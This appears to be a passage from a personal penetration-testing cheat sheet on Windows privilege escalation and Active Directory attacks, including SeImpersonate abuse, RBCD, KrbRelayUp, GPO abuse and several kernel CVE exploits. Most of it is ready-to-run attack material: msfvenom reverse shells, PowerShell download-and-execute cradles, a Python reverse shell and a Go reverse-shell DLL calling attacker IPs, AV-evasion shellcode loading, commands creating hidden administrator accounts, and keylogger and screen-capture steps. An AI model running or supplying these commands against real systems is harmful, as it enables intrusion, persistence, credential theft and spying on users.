duplication) gopi.exe 1128 'cmd.exe /c whoami /all > c:\test' | SeImpersonate ************* | SeImpersonatePrivilege privilege is enabled on services account like iis or mssql .. code-block:: powershell whoami /all [...] Privilege Name Description State ============================= ========================================= ======== SeImpersonatePrivilege Impersonate a client after authentication Enabled [...] | SweetPotato leverage SeImpersonate privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method. .. code-block:: powershell SweetPotato.exe -e EfsRpc -p c:\windows\system32\cmd.exe -a '/c calc' | SeImpersonate OLD ***************** | Abusing SeImpersonate on old systems .. code-block:: bash sudo -i wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe -O /var/www/html/churrasco.exe msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.139 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe smbserver.py -ip 10.10.14.139 -port 445 PWN /var/www/html/ & nc -nvlp 53 -s 10.10.14.139 .. code-block:: powershell \\10.10.14.139\PWN\churrasco.exe -d "c:\windows\system32\cmd.exe /C \\10.10.14.139\PWN\shell_reverse_tcp.exe" | SeTcbPrivilege ************** | WIP (i didn't try it yet) .. code-block:: https://github.com/b4lisong/SeTcbPrivilege-Abuse/blob/main/TcbElevation.cpp https://gist.github.com/jborean93/ca63f50ecaa9be5b517df5ad3433d461 https://github.com/daem0nc0re/PrivFu https://github.com/b4lisong/SeTcbPrivilege-Abuse | SeManageVolume ************** | Get full control over C:\\ (allowing to read/write any files) .. code-block:: https://github.com/xct/SeManageVolumeAbuse | SeRestore ********* | WIP (i didn't try it yet) .. code-block:: https://github.com/xct/SeRestoreAbuse | ***************** RBCD LPE/RCE (AD) ***************** | RBCD attack rely on 4 domains accounts: | - Compromised account (ex: low privilege user, relayed computer/user) | - Compromised service account (ex: a new fake computer) | - Targeted service account (ex: targeted machine) | - Impersonated user account (ex: domain/Administrator) | | RBCD steps: | - 1: Use "Compromised account" to create a new computer account in domain, that will be our "Compromised service account" (Optional if you already control a service account) | - 2: Use "Compromised account" write access to declare that "Compromised service account" can act on behalf of other identity for "Targeted service" | - 3: Use "Compromised service account" to ask for TGT, impersonating "Impersonated user" on "Targeted service" (S4U2Self + S4U2Proxy) | - 4: Use TGT on "Targeted service" | | RBCD requirements: | - Compromised account have GenericWrite/GenericAll/WriteDacl/WriteOwner/Owns/WriteAccountRestrictions/AllowedToAct rights on targeted service account (ex: user that have GenericWrite access on targeted machine) | - If relaying step 1 & 2, LDAP signing must NOT be enforced (default setting). | - If you don't already have compromised a service account you can create a new fake computer account, but MAQ domain attribute ("MS-DS-Machine-Account-Quota") must be >0 (default setting is 10) | - Impersonated user must NOT be part of "protected users" group (except Administrator rid500 which isn't affected) | - Impersonated user must NOT have the NOT_DELEGATED flag ("Account is sensitive and cannot be delegated" option) | .. code-block:: bash netexec ldap -u user -p pass -M ldap-checker # Check if LDAP signing is enforced (if relaying) netexec ldap -d domain -u user -p pass -M maq # Machine Account Quota # Detect RBCD paths with Bloodhound MATCH q=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner|Owns|WriteAccountRestrictions|AllowedToAct]->(:Computer) WHERE NOT u.objectid ENDS WITH "-512" AND NOT u.objectid ENDS WITH "-519" AND NOT u.objectid ENDS WITH "-544" AND NOT u.objectid ENDS WITH "-548" RETURN q | | Here i'm using RBCD as LPE, i'm using chisel proxy to bypass FW on local target that doesn't allow external connections, but you can use this as RCE as well. | You can skip this part if you don't want proxy. I'm bypassing AV with python and a script named "loadsc" .. code-block:: bash # Run chisel server docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80 # Prepare CHISEL shellcode IP="192.168.1.163" PORT="443" SOCKS="5000" PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks" python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))" cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1 # Powershell script to call echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel cat <<'EOF'|sudo tee -a /var/www/html/startchisel $loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc" $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")} $arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""") Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments EOF # IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel') | | Settings vars .. code-block:: bash UNPRIVILEGED_USER="user" # (Domain user) UNPRIVILEGED_USER_PASS="Testtesttest1!" IMPERSONATED_USER="administrator" # Impersonated domain user TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1" DOMAIN="domain.local" DC_NAME="WIN-SPQIBGNU0G1" DC_IP="172.16.130.153" PROXY='proxychains -q -f /tmp/TARGET1' NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI' | | Exploit .. code-block:: bash # Move to a new dir cd $(mktemp -d) # Read the attributes of targeted machine (INFO) $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Add a new computer to domain $PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Update msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Retrieve TGT for targeted machine with impersonated user, using the new computer account. (S4U2Self + S4U2Proxy) $PROXY getST.py -spn "CIFS/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS" # Read TGT mv *.ccache "$IMPERSONATED_USER.ccache" export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache" klist "$KRB5CCNAME" | | Use TGT .. code-block:: bash # Use Kerberos ticket $PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"' $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR # Reverse Shell IP="192.168.1.163" PORT=53 echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs cat <<'EOF'| sudo tee -a /var/www/html/rs $process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}; $arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()"""); Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments; EOF # Wait for connection tail -n 0 -f /var/log/nginx/*.log & sudo nc -nvlp $PORT -s $IP CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');" $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand | | CLEANUP (..you probably won't have the rights to delete the computer) .. code-block:: bash $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" $PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete | ******************* KrbRelayUp Tool (AD) ******************* | KrbRelayUp.exe is a collection of tools that aim to leverage security issues in Windows Active Directory configuration/infrastructure to perform LPE. | KrbRelayUp have 3 differents methods/path to perform LPE: SHADOWCRED, ADCS and RBCD. | SHADOWCRED and ADCS are based on ADCS presence, but we are using RBCD here. | | Requirements for this attack: | Unprivileged user must have a Write access on machine | LDAP signing must NOT be enforced (default setting). | "MS-DS-Machine-Account-Quota" domain attribute must be >0 (default setting is 10) | Impersonated user must NOT be part of "protected users" group | Impersonated user must NOT have the NOT_DELEGATED flag | | Ensure LDAP signing is not enforced on client side (0:disabled, 1:optionnal, 2:enforced) .. code-block:: powershell Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity | | Let's get started by serving KrbRelayUp.exe .. code-block:: powershell sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe | Then, run the relay phase .. code-block:: bash (New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe") &$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1 | Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them don't work) | https://ohpe.it/juicy-potato/CLSID/ | https://ohpe.it/juicy-potato/CLSID/GetCLSID.ps1 | WinServer2022: "000C101C-0000-0000-C000-000000000046" (MSIServer) | this CLSID is also present in W7,8,10*,2008,2012,2016 | Once relay phase is completed, we can proceed with the spawn phase. | For this step i’m using a powershell payload to add a new administrator, and i'm wrapping it into a golang executable .. code-block:: bash cat <<'EOF'>/tmp/payload.ps1 net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD EOF cat </tmp/beepboop.go package main import ("os/exec";"fmt";"log") func main() { cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)") out, err := cmd.Output() if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)} } EOF env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/ | Next, call KrbRelayUp.exe to perform the spawn step .. code-block:: bash (New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe") &$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1 | ***************** Abusing GPOs (AD) ***************** | Tool : https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs | Using powershell to create a new computer immediate task into existing GPO "Default Domain Controllers Policy" .. code-block:: powershell # Parameters $GUID = '{6AC1786C-016F-11D2-945F-00C04fB984F9}' # Default Domain Controllers Policy $TaskCommand = 'CMD.EXE' $TaskArguments = '/C mkdir c:\GPO_ABUSE_PROOF' $TaskUser = 'NT AUTHORITY\System' $TaskAuthor = 'Hacker' $TaskName = 'Hacker' $TaskRunLevel = 'HighestAvailable' # Using the Primary Domain Controller SYSVOL $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $GPOpath = "\\" + $domainObj.PdcRoleOwner.Name + "\SysVol\" + $domainObj.Name + "\Policies\$GUID" $ScheduledTasksFolder = "$GPOpath\Machine\Preferences\ScheduledTasks\" $ScheduledTasksFile = "$ScheduledTasksFolder\ScheduledTasks.xml" $GPTini = "$GPOpath\GPT.INI" # Ensure the scheduled tasks folder is created New-Item -ItemType Directory -Path $ScheduledTasksFolder -Force # New task as XML $TaskXml = @" $TaskAuthor$TaskUserS4U$TaskRunLevelPT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true$TaskCommand$TaskArguments "@ # Write task XML to file on DC SysVol [System.IO.File]::WriteAllText($ScheduledTasksFile, $TaskXml) # Increment GPO version number (Optional if using gpupdate) $GPO = [ADSI]("LDAP://" + $domainObj.PdcRoleOwner.Name + "/CN=$GUID,CN=Policies,CN=System,$(([adsi]'').distinguishedName)") $GPOversion = $GPO.psbase.Properties["versionNumber"].Value $GPO.psbase.Properties["versionNumber"].Value++ $GPO.SetInfo() # Increment GPT.INI version number (Optional if using gpupdate) $GPTiniContent = (Get-Content $GPTini) $GPTiniRegex = [RegEx]::Matches($GPTiniContent,"Version=(\d+)") $GPTiniVersion = [int]$GPTiniRegex.Groups[1].Value $GPTiniContent -replace "Version=$GPTiniVersion", "Version=$($GPOversion+1)" | Set-Content $GPTini # Refresh GPO on current machine (and loading your payload) gpupdate /Target:Computer /force | ******* CVE LPE ******* | .. code-block:: powershell # List OS, KB systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates # Checking env # syswow64 lets you run 32 bit system executables from 64 bit code. sysnative lets you run 64 bit system executables from 32 bit code. C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:" powershell.exe -c "ls env:" # List .Net framework dir /A:D c:\Windows\Microsoft.NET\Framework | | CVE poc public listing .. code-block:: https://github.com/ycdxsb/WindowsPrivilegeEscalation | MS15051 ******* | Tested on 2008 R2 .. code-block:: bash sudo -i cd /var/www/html/ wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip unzip MS15-051-KB3045171.zip msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.36 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe smbserver.py -ip 10.10.14.36 -port 445 PWN /var/www/html/ & nc -nvlp 53 -s 10.10.14.36 .. code-block:: powershell \\10.10.14.36\PWN\MS15-051-KB3045171\Source\ms15-051\x64\ms15-051x64.exe "CMD /C \\10.10.14.36\PWN\shell_reverse_tcp.exe" | MS16032 ******* | CVE-2016-0099 | Targets : Win7-Win10 & 2k8-2k12 <== 32/64 bit! | Requirements: 2+ CPU | Exploit https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1 .. code-block:: bash sudo wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1 -O /var/www/html/ms16032.ps1 .. code-block:: powershell # Check number of processors C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:" # Exploit and run whoami to a file C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C whoami.exe > C:\ms16032'" type C:\ms16032 # Exploit and run powershell encoded command C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C powershell -e BEEPBOOP=='" | CVE-2018-8120 ************* | https://github.com/rip1s/CVE-2018-8120 | Releases | https://github.com/rip1s/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe | https://github.com/rip1s/CVE-2018-8120/raw/master/x64/Release/CVE-2018-8120.exe .. code-block:: bash sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x32.exe sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/x64/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x64.exe .. code-block:: powershell CMD.EXE /C "mkdir c:\r & cd c:\r & certutil.exe -urlcache -split -f http://10.10.14.121/CVE20188120x32.exe CVE20188120x32.exe & start /b c:\r\CVE20188120x32.exe whoami" | PrintNightmare ************** | CVE-2021-1675 | KB : KB5004945 06 July 2021 | Print Nightmare (didn't try) | https://github.com/calebstewart/CVE-2021-1675 .. code-block:: bash sudo wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 -O /var/www/html/CVE20211675.ps1 .. code-block:: powershell C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/CVE20211675.ps1'); Invoke-Nightmare -DriverName 'BEEPBOOP' -NewUser 'hacker' -NewPassword 'Hackerbeepboop_1'" | | Or with the cube0x0 exploit : | https://github.com/cube0x0/CVE-2021-1675 | We make use of a golang dll payload .. code-block:: bash cat <<'EOF'| tee /tmp/reverse.go package main import ( "bufio" "net" "os/exec" "strings" ) // DLL func init() { main() } func main() { conn, _ := net.Dial("tcp", "192.168.45.178:4445") for { f, _ := bufio.NewReader(conn).ReadString('\n') g := strings.TrimSuffix(f, "\n") h, i, _ := strings.Cut(g, "~") cmd := exec.Command(h, i) cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn cmd.Run() } } EOF .. code-block:: bash env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe sudo cp /tmp/reverse.dll /var/www/html/ nc -nvlp 4445 .. code-block:: bash cd C:\users\any\ wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe wget http://192.168.45.111/reverse.dll -O reverse.dll .\SharpPrintNightmare.exe C:\users\any\reverse.dll | HiveNightmare ************* | CVE-2021-36934 CVE-2023-28252 ************** | Pre-compiled exploit : https://github.com/bkstephen/Compiled-PoC-Binary-For-CVE-2023-28252 .. code-block:: bash curl.exe http://10.10.14.51/clfs_eop.exe -o clfs_eop.exe curl.exe http://10.10.14.51/reverse.exe -o reverse.exe ./clfs_eop.exe reverse.exe | *********** GUI Session *********** | Graphical apps (session x) are isolated from services and non-interactives backend apps such as drivers (session 0). | When you get a foothold and land into non-interactive session 0, you can maybe spy on connected users .. code-block:: powershell query user qwinsta | | Let's say you hold SeDebugPrivilege or victim credentials/access, you can jump from session 0 to session x using thread injection method. | https://github.com/charlesgargasson/gopi | KeyLogger ********* | https://github.com/charlesgargasson/wintools/-/tree/main/Keylogger .. code-block:: powershell curl.exe http://10.10.14.65/keylogger2.exe -o keylogger2.exe Start-Process -NoNewWindow -FilePath "C:\r\keylogger2.exe" # Wait 10 minutes Stop-Process -Name "keylogger2" | Clipboard ********* .. code-block:: powershell Get-Clipboard | ScreenShot ********** .. code-block:: powershell mkdir /r Add-Type -AssemblyName System.Windows.Forms,System.Drawing $screens = [Windows.Forms.Screen]::AllScreens $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum $right = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum $bottom = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $right, $bottom) $bmp = New-Object System.Drawing.Bitmap ([int]$bounds.width), ([int]$bounds.height) $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $unixTimestamp = [int][double]((Get-Date -UFormat %s)) $outputfile = 'c:\\r\\capture'+$unixTimestamp+'.png' $bmp.Save($outputfile) $graphics.Dispose() $bmp.Dispose() | VNC *** | Using meterpreter you can stream user's desktop. .. code-block:: bash msf6 exploit(multi/handler) > sessions 1 meterpreter > load espia Loading extension espia...Success. meterpreter > run vnc [*] Creating a VNC reverse tcp stager: LHOST=10.10.14.65 LPORT=4545 [*] Running payload handler [*] VNC stager executable 73802 bytes long [*] Uploaded the VNC agent to C:\Users\jdoe\AppData\Local\Temp\jfxXOPW.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 10.10.14.65:4545... [*] VNC Server session 2 opened (10.10.14.65:4545 -> 10.129.5.163:52367) at 2025-02-25 18:03:05 +0100 | | Then use vnc client such as remmina and connect to 127.0.0.1:5900 |